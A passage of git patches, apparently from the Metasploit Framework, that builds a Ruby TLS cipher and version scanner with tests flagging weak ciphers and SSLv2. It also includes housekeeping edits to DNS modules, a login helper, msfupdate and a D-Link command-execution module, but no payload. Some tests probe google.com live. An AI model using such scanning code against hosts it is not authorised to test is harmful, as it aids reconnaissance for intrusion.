SSL Version Supplied: #{version}" end elsif version.kind_of? Array - version.reject!{|version| @supported_versions.include? version} + version.reject!{|v| !(@supported_versions.include? v)} if version.empty? return @ciphers.reject{|cipher| cipher[:status] == :rejected} else @@ -89,7 +77,7 @@ class Result raise ArgumentError, "Invalid SSL Version Supplied: #{version}" end elsif version.kind_of? Array - version.reject!{|version| @supported_versions.include? version} + version.reject!{|v| !(@supported_versions.include? v)} if version.empty? return @ciphers.reject{|cipher| cipher[:status] == :accepted} else @@ -127,5 +115,45 @@ class Result def supports_ssl? supports_sslv2? or supports_sslv3? or supports_tlsv1? end + + def supports_weak_ciphers? + !(weak_ciphers.empty?) + end + + def standards_compliant? + if supports_ssl? + return false if supports_sslv2? + return false if supports_weak_ciphers? + end + true + end + + def add_cipher(version, cipher, key_length, status) + unless @supported_versions.include? version + raise ArgumentError, "Must be a supported SSL Version" + end + unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include? cipher + raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" + end + unless key_length.kind_of? Fixnum + raise ArgumentError, "Must supply a valid key length" + end + unless [:accepted, :rejected].include? status + raise ArgumentError, "status Must be either :accepted or :rejected" + end + + strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version) + strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM" + + if strong_cipher_ctx.ciphers.flatten.include? cipher + weak = false + else + weak = true + end + + cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status} + @ciphers << cipher_details + @ciphers.uniq! + end end end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 0d9ac8b553..4809e38c43 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -6,6 +6,19 @@ describe Rex::SSLScan::Result do it { should respond_to :cert } it { should respond_to :ciphers } + it { should respond_to :sslv2 } + it {should respond_to :sslv3 } + it {should respond_to :tlsv1 } + it {should respond_to :accepted } + it {should respond_to :rejected } + it {should respond_to :weak_ciphers } + it {should respond_to :strong_ciphers } + it {should respond_to :supports_sslv2? } + it {should respond_to :supports_sslv3? } + it {should respond_to :supports_tlsv1? } + it {should respond_to :supports_ssl? } + it {should respond_to :supports_weak_ciphers? } + it {should respond_to :standards_compliant? } context "with no values set" do it "should return nil for the cert" do @@ -23,6 +36,50 @@ describe Rex::SSLScan::Result do it "should return an empty array for rejected" do subject.rejected.should == [] end + + it "should return an empty array for #sslv2" do + subject.sslv2.should == [] + end + + it "should return an empty array for #sslv3" do + subject.sslv3.should == [] + end + + it "should return an empty array for #tlsv1" do + subject.sslv2.should == [] + end + + it "should return an empty array for #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return an empty array for #strong_ciphers" do + subject.strong_ciphers.should == [] + end + + it "should return false for #supports_ssl?" do + subject.supports_ssl?.should == false + end + + it "should return false for #supports_ssl?v2" do + subject.supports_sslv2?.should == false + end + + it "should return false for #supports_sslv3?" do + subject.supports_sslv3?.should == false + end + + it "should return false for #supports_tlsv1?" do + subject.supports_tlsv1?.should == false + end + + it "should return false for #supports_weak_ciphers?" do + subject.supports_weak_ciphers?.should == false + end + + it "should return true for #standards_compliant?" do + subject.standards_compliant?.should == true + end end context "setting the cert" do @@ -194,18 +251,52 @@ describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) end - it "should return an array of cipher detail hashes" do - subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_accepted do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the accepted cipher details" do + count = 0 + subject.each_accepted do |cipher_details| + count = count+1 + end + count.should == 4 end end - it "should return all of the accepted cipher details" do - count = 0 - subject.each_accepted do |cipher_details| - count = count+1 + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_accepted('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_accepted(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_accepted(:SSLv2) do |cipher_details| + cipher_details[:version].should == :SSLv2 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 4 + end + + it "should return only the ciphers for the specified version" do + subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end end - count.should == 4 end end @@ -217,18 +308,52 @@ describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) end - it "should return an array of cipher detail hashes" do - subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_rejected do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the rejected cipher details" do + count = 0 + subject.each_rejected do |cipher_details| + count = count+1 + end + count.should == 4 end end - it "should return all of the rejected cipher details" do - count = 0 - subject.each_rejected do |cipher_details| - count = count+1 + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_rejected('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_rejected(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_rejected(:SSLv2) do |cipher_details| + cipher_details[:version].should == :SSLv2 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 4 + end + + it "should return only the ciphers for the specified version" do + subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end end - count.should == 4 end end @@ -271,4 +396,45 @@ describe Rex::SSLScan::Result do end end + context "checking for weak ciphers" do + context "when weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv2, "DES-CBC-MD5", 56, :accepted) + subject.add_cipher(:SSLv2, "EXP-RC2-CBC-MD5", 40, :accepted) + end + it "should return an array of weak ciphers from #weak_ciphers" do + weak = subject.weak_ciphers + weak.class.should == Array + weak.each do |cipher| + cipher[:weak].should == true + end + weak.count.should == 2 + end + + it "should return true from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == true + end + end + + context "when no weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + it "should return an empty array from #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return false from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == false + end + end + end + + context "checking for standards compliance" do + + end + end \ No newline at end of file From ccf18d6cb7f3bd71416f9901d7a77330535e6c0c Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Feb 2013 17:20:04 -0600 Subject: [PATCH 053/341] Finalize specsfor Result class --- spec/lib/rex/sslscan/result_spec.rb | 43 +++++++++++++++++++++-------- 1 file changed, 31 insertions(+), 12 deletions(-) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 4809e38c43..ce8ceda985 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -4,21 +4,21 @@ describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} + it { should respond_to :accepted } it { should respond_to :cert } it { should respond_to :ciphers } + it { should respond_to :rejected } it { should respond_to :sslv2 } - it {should respond_to :sslv3 } - it {should respond_to :tlsv1 } - it {should respond_to :accepted } - it {should respond_to :rejected } - it {should respond_to :weak_ciphers } - it {should respond_to :strong_ciphers } - it {should respond_to :supports_sslv2? } - it {should respond_to :supports_sslv3? } - it {should respond_to :supports_tlsv1? } - it {should respond_to :supports_ssl? } - it {should respond_to :supports_weak_ciphers? } - it {should respond_to :standards_compliant? } + it { should respond_to :sslv3 } + it { should respond_to :standards_compliant? } + it { should respond_to :strong_ciphers } + it { should respond_to :supports_ssl? } + it { should respond_to :supports_sslv2? } + it { should respond_to :supports_sslv3? } + it { should respond_to :supports_tlsv1? } + it { should respond_to :supports_weak_ciphers? } + it { should respond_to :tlsv1 } + it { should respond_to :weak_ciphers } context "with no values set" do it "should return nil for the cert" do @@ -434,7 +434,26 @@ describe Rex::SSLScan::Result do end context "checking for standards compliance" do + it "should return true if there is no SSL support" do + subject.standards_compliant?.should == true + end + it "should return false if SSLv2 is supported" do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.standards_compliant?.should == false + end + + it "should return false if weak ciphers are supported" do + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + subject.standards_compliant?.should == false + end + + it "should return true if SSLv2 and Weak Ciphers are disabled" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.standards_compliant?.should == true + end end end \ No newline at end of file From 166b59b61a21674ef6aaacbdd47c44868fd32454 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:48:57 -0400 Subject: [PATCH 054/341] Added new line to end of file. --- modules/auxiliary/gather/dns_info.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index bbf772cf5b..f57fb1649f 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -215,4 +215,5 @@ class Metasploit3 < Msf::Auxiliary @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end -end \ No newline at end of file +end + From eda3fc07157f6717f03346e2f6f914586e1396e1 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:50:23 -0400 Subject: [PATCH 055/341] Added new line to end of file. --- modules/auxiliary/gather/dns_srv.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index dd3f68f208..4bbccba518 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -218,4 +218,5 @@ class Metasploit3 < Msf::Auxiliary end return results end -end \ No newline at end of file +end + From 78f81843f6348b04715b662be5b24bf2cf8a881a Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:51:37 -0400 Subject: [PATCH 056/341] Added new line to end of file. --- modules/auxiliary/gather/dns_bruteforce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index a6e72080a6..0c289eddb3 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -135,3 +135,4 @@ class Metasploit3 < Msf::Auxiliary end end end + From fd15436a9669884125e71fe9a01e89865b12af62 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:52:49 -0400 Subject: [PATCH 057/341] Added new line to end of file. --- modules/auxiliary/gather/dns_reverse_lookup.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 95dbb0c8ac..e3e28342a6 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -91,4 +91,5 @@ class Metasploit3 < Msf::Auxiliary @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end -end \ No newline at end of file +end + From b8b445c834df7a39ebd2743ddefb3e9fb055bc68 Mon Sep 17 00:00:00 2001 From: nemski Date: Sat, 9 Feb 2013 15:32:47 +1100 Subject: [PATCH 058/341] Update lib/msf/core/auxiliary/login.rb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fix for Bug #7451 --- lib/msf/core/auxiliary/login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 816604a95b..29556b1243 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -51,6 +51,7 @@ module Auxiliary::Login (Login ?|User ?)(name|): | ^\s*\<[a-f0-9]+\>\s*$ | ^\s*220.*FTP + not\ allowed )/mix @waiting_regex = /(?: From 38d0a244fd2e77979ec35dd7cfb1c6faf5284f66 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 9 Feb 2013 00:03:58 -0600 Subject: [PATCH 059/341] Beginings of the actual scanner configuration and configuration validation in place with tests. --- lib/rex/sslscan/scanner.rb | 36 ++++++++++++++++++++++++++++ spec/lib/rex/sslscan/scanner_spec.rb | 28 ++++++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index a1804a7079..6279958b4b 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -1,6 +1,42 @@ +require 'rex/socket' module Rex::SSLScan + class Scanner + attr_accessor :host + attr_accessor :port + attr_accessor :timeout + + def initialize(host,port,timeout=20) + @host = host + @port = port + @timeout = timeout + raise StandardError, "The supplied configuration is invalid" unless valid? + end + + def valid? + begin + @host = Rex::Socket.getaddress(@host, true) + rescue + return false + end + return false unless @port.kind_of? Fixnum + return false unless @port >= 0 and @port <= 65535 + return false unless @timeout.kind_of? Fixnum + return true + end + + def scan + raise StandardError, "The supplied configuration is invalid" unless valid? + scan_result = Rex::SSLScan::Result.new + + + end + + def test_cipher(ssl_version, cipher) + + end + end end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 278fc547fd..228193adf0 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -2,4 +2,32 @@ require 'rex/sslscan/scanner' describe Rex::SSLScan::Scanner do + subject{Rex::SSLScan::Scanner.new("127.0.0.1", 65535)} + + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :timeout } + it { should respond_to :valid? } + + context "when validating the scanner config" do + it "should return true when given a valid config" do + subject.valid?.should == true + end + + it "should return false if given an invalid host" do + subject.host = nil + subject.valid?.should == false + end + + it "should return false if given an invalid port" do + subject.port = nil + subject.valid?.should == false + end + + it "should return false if given an invalid timeout" do + subject.timeout = nil + subject.valid?.should == false + end + end + end \ No newline at end of file From ebb0f166ca556e87d06e1505478286aa88aaf0f7 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 9 Feb 2013 00:40:58 -0600 Subject: [PATCH 060/341] Accept propper formats for SSL version we were only accepting sloppy string values and not accepting input of the actual symbols that OpenSSL expects in the first place. Allow the user to enter it right themselves to be compat with OpenSSL --- lib/rex/socket/parameters.rb | 3 ++- lib/rex/socket/ssl_tcp.rb | 7 +++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 210488ae94..e83783e843 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -140,7 +140,8 @@ class Rex::Socket::Parameters self.ssl = false end - if (hash['SSLVersion'] and hash['SSLVersion'].to_s =~ /^(SSL2|SSL3|TLS1)$/i) + supported_ssl_versions = ['SSL2', 'SSL23', 'TLS1', 'SSL3', :SSLv2, :SSLv3, :SSLv23, :TLSv1] + if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion']) self.ssl_version = hash['SSLVersion'] end diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index b8a994034b..fa18779e36 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -65,6 +65,13 @@ begin version = :SSLv23 when 'TLS1' version = :TLSv1 + # Handle the user supplying the correct syntax themselves + when :SSLv2 + version = :SSLv2 + when :SSLv23 + version = :SSLv23 + when :TLSv1 + version = :TLSv1 end end From c25d4b48634ca30495f64bfd091584aa4d728c51 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 9 Feb 2013 01:07:56 -0600 Subject: [PATCH 061/341] Test Cipher method underway Trying to get a clever test plan under way to actually test the network side of this. Not quite working yet --- lib/rex/sslscan/scanner.rb | 37 ++++++++++++--- spec/lib/rex/sslscan/scanner_spec.rb | 67 ++++++++++++++++++++++++++++ 2 files changed, 99 insertions(+), 5 deletions(-) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 6279958b4b..4de758e5ac 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -7,12 +7,15 @@ class Scanner attr_accessor :host attr_accessor :port attr_accessor :timeout + + attr_reader :supported_versions - def initialize(host,port,timeout=20) + def initialize(host,port = 443,timeout=20) @host = host @port = port @timeout = timeout - raise StandardError, "The supplied configuration is invalid" unless valid? + @supported_versions = [:SSLv2, :SSLv3, :TLSv1] + raise StandardError, "The scanner configuration is invalid" unless valid? end def valid? @@ -28,14 +31,38 @@ class Scanner end def scan - raise StandardError, "The supplied configuration is invalid" unless valid? scan_result = Rex::SSLScan::Result.new - - end def test_cipher(ssl_version, cipher) + validate_params(ssl_version,cipher) + begin + scan_client = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port, + 'SSL' => true, + 'SSLVersion' => ssl_version, + 'SSLCipher' => cipher, + 'Timeout' => @timeout + ) + rescue ::Exception => e + return :rejected + end + return :accepted + end + + + protected + + def validate_params(ssl_version, cipher) + raise StandardError, "The scanner configuration is invalid" unless valid? + unless @supported_versions.include? ssl_version + raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}" + end + unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher + raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" + end end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 228193adf0..eddc361c76 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -1,4 +1,7 @@ require 'rex/sslscan/scanner' +require 'rex/thread_factory' +require 'rex/text' +require 'rex/compat' describe Rex::SSLScan::Scanner do @@ -30,4 +33,68 @@ describe Rex::SSLScan::Scanner do end end + context "when testing a single cipher" do + context "an exception should be raised if" do + it "has an invalid scanner configuration" do + subject.host =nil + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + end + + it "is given an invalid SSL version" do + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + end + + it "is given an invalid cipher" do + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + end + + it "is given an invalid cipher for the SSL Version" do + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + end + end + + # context ":rejected should be returned if" do + # it "scans a non-SSL server" do + # server = Rex::Socket::TcpServer.create( + # 'LocalHost' => '127.0.01', + # 'LocalPort' => 65535, + # 'SSL' => false, + # ) + # server.start + # subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected + # server.stop + # server.close + # end + + # it "scans a server that doesn't support the supplied SSL version" do + # server = Rex::Socket::TcpServer.create( + # 'LocalHost' => '127.0.01', + # 'LocalPort' => 65535, + # 'SSL' => true, + # 'SSLVersion' => :SSLv3 + # ) + # server.start + # subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected + # server.stop + # server.close + # end + # end + + # context ":accepted should be returned if" do + # it "scans a server that accepts the given cipher" do + # server = Rex::Socket::TcpServer.create( + # 'LocalHost' => '127.0.01', + # 'LocalPort' => 65535, + # 'SSL' => true, + # 'SSLVersion' => :SSLv3, + # 'SSLCipher' => 'AES256-SHA' + # ) + # server.start + # subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + # server.stop + # server.close + # end + # end + end + end \ No newline at end of file From 63c67914739083aa4c21acc88094bf0300ac065e Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sat, 9 Feb 2013 11:17:02 +0100 Subject: [PATCH 062/341] return --- modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index feea8e0d3e..2c0da88e4f 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return :abort + return end if res.body.include? "end" From 0f9b16d07fce09ae165a53af734ca0b7ed475d6c Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 9 Feb 2013 19:06:17 -0600 Subject: [PATCH 063/341] Scanner class finished, result needs more work the result class needs a nice clean to_s method to print easily readable output. mostly working now. a few more tweaks needed. --- lib/rex/sslscan/result.rb | 25 ++++++++++ lib/rex/sslscan/scanner.rb | 35 ++++++++++++- spec/lib/rex/sslscan/result_spec.rb | 9 ++++ spec/lib/rex/sslscan/scanner_spec.rb | 74 +++++++++++++--------------- 4 files changed, 101 insertions(+), 42 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index d1755e251f..9a3b59e39e 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -1,5 +1,6 @@ require 'rex/socket' +require 'rex/ui/text/table' module Rex::SSLScan class Result @@ -155,5 +156,29 @@ class Result @ciphers << cipher_details @ciphers.uniq! end + + def to_s + unless supports_ssl? + return "Server does not appear to support SSL on this port!" + end + table = Rex::Ui::Text::Table.new( + 'Header' => 'SSL Ciphers', + 'Indent' => 1, + 'Columns' => ['Status', 'Weak', 'SSL Version', 'Key Length', 'Cipher'] + ) + ciphers.each do |cipher| + if cipher[:weak] + weak = '*' + else + weak = ' ' + end + table << [cipher[:status], weak , cipher[:version], cipher[:key_length], cipher[:cipher]] + end + text = "#{table.to_s}" + if @cert + text <<" \n\n #{@cert.to_text}" + end + text + end end end \ No newline at end of file diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 4de758e5ac..49110e982d 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -1,4 +1,5 @@ require 'rex/socket' +require 'rex/sslscan/result' module Rex::SSLScan @@ -32,11 +33,21 @@ class Scanner def scan scan_result = Rex::SSLScan::Result.new + @supported_versions.each do |ssl_version| + sslctx = OpenSSL::SSL::SSLContext.new(ssl_version) + sslctx.ciphers.each do |cipher_name, ssl_ver, key_length, alg_length| + status = test_cipher(ssl_version, cipher_name) + scan_result.add_cipher(ssl_version, cipher_name, key_length, status) + if status == :accepted and scan_result.cert.nil? + scan_result.cert = get_cert(ssl_version, cipher_name) + end + end + end + scan_result end def test_cipher(ssl_version, cipher) validate_params(ssl_version,cipher) - begin scan_client = Rex::Socket::Tcp.create( 'PeerHost' => @host, @@ -52,6 +63,28 @@ class Scanner return :accepted end + def get_cert(ssl_version, cipher) + validate_params(ssl_version,cipher) + begin + scan_client = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port, + 'SSL' => true, + 'SSLVersion' => ssl_version, + 'SSLCipher' => cipher, + 'Timeout' => @timeout + ) + cert = scan_client.peer_cert + if cert.kind_of? OpenSSL::X509::Certificate + return cert + else + return nil + end + rescue ::Exception => e + return nil + end + end + protected diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index ce8ceda985..5e3e0ebfa5 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -1,4 +1,5 @@ require 'rex/sslscan/result' +require 'pry' describe Rex::SSLScan::Result do @@ -456,4 +457,12 @@ describe Rex::SSLScan::Result do end end + it "should output to a nice printable string" do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + binding.pry + end + end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index eddc361c76..f2dfb9211d 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -3,9 +3,11 @@ require 'rex/thread_factory' require 'rex/text' require 'rex/compat' +require 'pry' + describe Rex::SSLScan::Scanner do - subject{Rex::SSLScan::Scanner.new("127.0.0.1", 65535)} + subject{Rex::SSLScan::Scanner.new("google.com", 443)} it { should respond_to :host } it { should respond_to :port } @@ -53,48 +55,38 @@ describe Rex::SSLScan::Scanner do end end - # context ":rejected should be returned if" do - # it "scans a non-SSL server" do - # server = Rex::Socket::TcpServer.create( - # 'LocalHost' => '127.0.01', - # 'LocalPort' => 65535, - # 'SSL' => false, - # ) - # server.start - # subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected - # server.stop - # server.close - # end + context ":rejected should be returned if" do + it "scans a server that doesn't support the supplied SSL version" do + subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected + end - # it "scans a server that doesn't support the supplied SSL version" do - # server = Rex::Socket::TcpServer.create( - # 'LocalHost' => '127.0.01', - # 'LocalPort' => 65535, - # 'SSL' => true, - # 'SSLVersion' => :SSLv3 - # ) - # server.start - # subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected - # server.stop - # server.close - # end - # end + it "scans a server that doesn't support the cipher" do + subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + end + end - # context ":accepted should be returned if" do - # it "scans a server that accepts the given cipher" do - # server = Rex::Socket::TcpServer.create( - # 'LocalHost' => '127.0.01', - # 'LocalPort' => 65535, - # 'SSL' => true, - # 'SSLVersion' => :SSLv3, - # 'SSLCipher' => 'AES256-SHA' - # ) - # server.start - # subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted - # server.stop - # server.close - # end - # end + context ":accepted should be returned if" do + it "scans a server that accepts the given cipher" do + subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + end + end + end + + context "when retrieving the cert" do + it "should return nil if it can't connect" do + subject.get_cert(:SSLv2, "DES-CBC3-MD5").should == nil + end + + it "should return an X509 cert if it can connect" do + subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate + end + end + + context "when scanning https://google.com" do + it "should return a Result object" do + result = subject.scan + result.class.should == Rex::SSLScan::Result + end end end \ No newline at end of file From 73f136ef9a8161deb2dda0a3d6b59ea0fb2aa1f3 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Feb 2013 15:01:35 -0600 Subject: [PATCH 064/341] Update msfupdate to work with debian packages If apt was used to install framework, use apt-get to update. --- msfupdate | 43 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/msfupdate b/msfupdate index 058fd8f51e..6b168d0091 100755 --- a/msfupdate +++ b/msfupdate @@ -30,9 +30,13 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?) exit 0x10 end +def is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) +end + # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git @@ -69,6 +73,24 @@ def maybe_wait_and_exit(exit_code=0) end end +def apt_upgrade_available(package) + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3("apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end +end + # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| @@ -186,7 +208,24 @@ if is_installed end end -unless is_svn || is_git || is_installed +if is_apt + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") + + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + system("/etc/init.d/metasploit start") if 